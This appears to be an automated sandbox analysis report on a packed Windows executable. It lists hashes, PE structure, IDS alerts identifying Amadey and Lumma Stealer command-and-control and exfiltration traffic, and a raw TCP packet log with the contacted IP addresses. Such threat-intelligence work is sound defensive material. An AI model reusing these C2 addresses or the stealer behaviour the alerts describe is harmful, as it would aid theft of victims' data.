                                                                                                                                                                                                                                                                                  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                                                                                                                  File name:file.exe
                                                                                                                                                                                                                                                                                  File size:2'969'600 bytes
                                                                                                                                                                                                                                                                                  MD5:76c2f75bf3efb5964c432f7661d22d58
                                                                                                                                                                                                                                                                                  SHA1:521badd0c5d9f85986a7845b3163b82b87c0589d
                                                                                                                                                                                                                                                                                  SHA256:939310706200640f603a1fb3e6528c3a4bafa87e0d610e817a7824cf2e089bc7
                                                                                                                                                                                                                                                                                  SHA512:e9462f252fdb9f4591b0b96a97cee084e88299c066b7d1d0e862bc9b78fed2e1159d91fc74fa906f0b942f36560fffda2dc49dd059e48dc309489c9047955e51
                                                                                                                                                                                                                                                                                  SSDEEP:49152:GcUejriX8cBywn04rFnpO3vNcDmq//ICH44JTD8K6QlO:GcUejrk8cANeDO3lamggM441De
                                                                                                                                                                                                                                                                                  TLSH:E0D56E51F645B1DFD49E12749CB7EF82996E03BA4B2404C39C5DB8BABDA3CC015B6C28
                                                                                                                                                                                                                                                                                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

                                                                                                                                                                                                                                                                                  File Icon

                                                                                                                                                                                                                                                                                  Icon Hash:90cececece8e8eb0

                                                                                                                                                                                                                                                                                  Static PE Info

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Entrypoint:0x710000
                                                                                                                                                                                                                                                                                  Entrypoint Section:.taggant
                                                                                                                                                                                                                                                                                  Digitally signed:false
                                                                                                                                                                                                                                                                                  Imagebase:0x400000
                                                                                                                                                                                                                                                                                  Subsystem:windows gui
                                                                                                                                                                                                                                                                                  Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                                                                                                                                                                                                                  DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                                                                                                                                                                                                                                                                                  Time Stamp:0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
                                                                                                                                                                                                                                                                                  TLS Callbacks:
                                                                                                                                                                                                                                                                                  CLR (.Net) Version:
                                                                                                                                                                                                                                                                                  OS Version Major:6
                                                                                                                                                                                                                                                                                  OS Version Minor:0
                                                                                                                                                                                                                                                                                  File Version Major:6
                                                                                                                                                                                                                                                                                  File Version Minor:0
                                                                                                                                                                                                                                                                                  Subsystem Version Major:6
                                                                                                                                                                                                                                                                                  Subsystem Version Minor:0
                                                                                                                                                                                                                                                                                  Import Hash:2eabe9054cad5152567f0699947a2c5b

                                                                                                                                                                                                                                                                                  Entrypoint Preview

                                                                                                                                                                                                                                                                                  Instruction
                                                                                                                                                                                                                                                                                  jmp 00007F5E80916BAAh
                                                                                                                                                                                                                                                                                  ucomiss xmm5, dqword ptr [00000000h]
                                                                                                                                                                                                                                                                                  add cl, ch
                                                                                                                                                                                                                                                                                  add byte ptr [eax], ah
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [ebx], al
                                                                                                                                                                                                                                                                                  or al, byte ptr [eax]
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], dh
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [edi], bl
                                                                                                                                                                                                                                                                                  add byte ptr [eax+000000FEh], ah
                                                                                                                                                                                                                                                                                  add byte ptr [edx], ah
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [ecx], cl
                                                                                                                                                                                                                                                                                  add byte ptr [eax], 00000000h
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  adc byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add ecx, dword ptr [edx]
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  xor byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  inc eax
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax+eax*4], cl
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  adc byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add ecx, dword ptr [edx]
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  xor byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax+00000000h], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  or al, 80h
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  adc byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add ecx, dword ptr [edx]
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  xor byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], 00000000h
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [ecx], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], 00000000h
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al
                                                                                                                                                                                                                                                                                  add byte ptr [eax], al

                                                                                                                                                                                                                                                                                  Data Directories

                                                                                                                                                                                                                                                                                  NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_IMPORT0x6a0570x6b.idata
                                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x690000x5d4.rsrc
                                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x30deec0x10oadzzmvp
                                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_TLS0x30de9c0x18oadzzmvp
                                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                                                                                                  Sections

                                                                                                                                                                                                                                                                                  NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                                                                                                  0x10000x680000x2de00ba3301308e5144d8bc09f2ce9d3fcbd8False0.9982012091280654data7.983040046559541IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                                                  .rsrc0x690000x5d40x400506ca0cd3498ac4ebf0cb870dd400659False0.7099609375data5.8419078331470935IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                                                  .idata 0x6a0000x10000x200cc76e3822efdc911f469a3e3cc9ce9feFalse0.1484375data1.0428145631430756IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                                                  oadzzmvp0x6b0000x2a40000x2a3600cfc85eca880c19186ed669d4e5831906unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                                                  ccijuplx0x30f0000x10000x400930fc636569edb8d7abcdd693acf4624False0.7646484375data6.032091261912746IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                                                  .taggant0x3100000x30000x22008367f949ea2d5a6cf7b86a0a9457803cFalse0.056640625DOS executable (COM)0.6792203409394991IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

                                                                                                                                                                                                                                                                                  Resources

                                                                                                                                                                                                                                                                                  NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                                                                                                  RT_MANIFEST0x30defc0x3e4XML 1.0 document, ASCII text0.48092369477911645
                                                                                                                                                                                                                                                                                  RT_MANIFEST0x30e2e00x17dXML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.5931758530183727

                                                                                                                                                                                                                                                                                  Imports

                                                                                                                                                                                                                                                                                  DLLImport
                                                                                                                                                                                                                                                                                  kernel32.dlllstrcpy

                                                                                                                                                                                                                                                                                  Possible Origin

                                                                                                                                                                                                                                                                                  Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                                                                                                                                  EnglishUnited States

                                                                                                                                                                                                                                                                                  Network Behavior

                                                                                                                                                                                                                                                                                  Suricata IDS Alerts

                                                                                                                                                                                                                                                                                  TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:06.015733+01002856147ETPRO MALWARE Amadey CnC Activity M31192.168.2.449748185.215.113.4380TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:10.736644+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.44976031.41.244.1180TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:20.124826+01002856122ETPRO MALWARE Amadey CnC Response M11185.215.113.4380192.168.2.449754TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:21.480134+01002856121ETPRO MALWARE Amadey CnC Activity M21192.168.2.449786185.215.113.4380TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:22.931349+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.44978731.41.244.1180TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:29.645956+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449805104.21.67.146443TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:29.753849+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.449804185.215.113.4380TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:30.070079+01002049836ET MALWARE Lumma Stealer Related Activity1192.168.2.449805104.21.67.146443TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:30.070079+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.449805104.21.67.146443TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:31.202032+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.44980931.41.244.1180TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:31.331339+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449810104.21.67.146443TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:32.098901+01002049812ET MALWARE Lumma Stealer Related Activity M21192.168.2.449810104.21.67.146443TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:32.098901+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.449810104.21.67.146443TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:33.723076+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449816104.21.67.146443TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:36.095907+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.449822185.215.113.4380TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:36.309762+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449825104.21.67.146443TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:37.541358+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.44982931.41.244.1180TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:38.584632+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449833104.21.67.146443TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:41.921869+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449842104.21.67.146443TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:42.520093+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.449843185.215.113.4380TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:42.802899+01002048094ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration1192.168.2.449842104.21.67.146443TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:43.527147+01002856148ETPRO MALWARE Amadey CnC Activity M41192.168.2.449849212.193.31.880TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:44.021216+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.44985031.41.244.1180TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:44.757718+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449853104.21.67.146443TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:49.178434+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449867104.21.67.146443TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:49.611956+01002856148ETPRO MALWARE Amadey CnC Activity M41192.168.2.449868212.193.31.880TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:50.039298+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.449867104.21.67.146443TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:54.822682+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.449886185.215.113.4380TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:55.661712+01002856148ETPRO MALWARE Amadey CnC Activity M41192.168.2.449889212.193.31.880TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:15:56.272758+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.44989231.41.244.1180TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:16:01.807127+01002856148ETPRO MALWARE Amadey CnC Activity M41192.168.2.449908212.193.31.880TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:16:02.497681+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.449911185.215.113.4380TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:16:03.944738+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.44991531.41.244.1180TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:16:07.417270+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449925104.21.91.209443TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:16:07.847356+01002856148ETPRO MALWARE Amadey CnC Activity M41192.168.2.449926212.193.31.880TCP
                                                                                                                                                                                                                                                                                  2024-12-21T12:16:08.323204+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.449930185.215.113.4380TCP

                                                                                                                                                                                                                                                                                  Network Port Distribution

                                                                                                                                                                                                                                                                                  TCP Packets

                                                                                                                                                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:04.553745031 CET4974880192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:04.673954010 CET8049748185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:04.674180984 CET4974880192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:04.674294949 CET4974880192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:04.794596910 CET8049748185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:06.015527964 CET8049748185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:06.015733004 CET4974880192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:07.518055916 CET4974880192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:07.518225908 CET4975480192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:07.638055086 CET8049754185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:07.638566971 CET8049748185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:07.638750076 CET4974880192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:07.638849020 CET4975480192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:07.638849020 CET4975480192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:07.758728981 CET8049754185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:09.011374950 CET8049754185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:09.011394978 CET8049754185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:09.011460066 CET4975480192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:09.245490074 CET8049754185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:09.245585918 CET4975480192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:09.291064978 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:09.411037922 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:09.411102057 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:09.414186001 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:09.533866882 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.736458063 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.736476898 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.736519098 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.736536980 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.736553907 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.736572027 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.736644030 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.736644030 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.736644030 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.736644030 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.737138033 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.737154961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.737186909 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.737200975 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.737497091 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.737576008 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.737617016 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.857625961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.857769966 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.857853889 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.862126112 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.862148046 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.862221956 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.929912090 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.929953098 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.929969072 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.929991007 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.934132099 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.934190035 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.935470104 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.935519934 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.935585022 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.935627937 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.943768978 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.943823099 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.943907022 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.943948984 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.952486992 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.952511072 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.952533960 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.952548027 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.960761070 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.960783958 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.960810900 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.960823059 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.969347954 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.969371080 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.969398022 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.969412088 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.977544069 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.977587938 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.977916002 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.977960110 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.986191988 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.986217022 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.986243010 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.986252069 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.994376898 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.994427919 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.994528055 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:10.994571924 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.002966881 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.002990007 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.003022909 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.003041029 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.009015083 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.009038925 CET804976031.41.244.11192.168.2.4
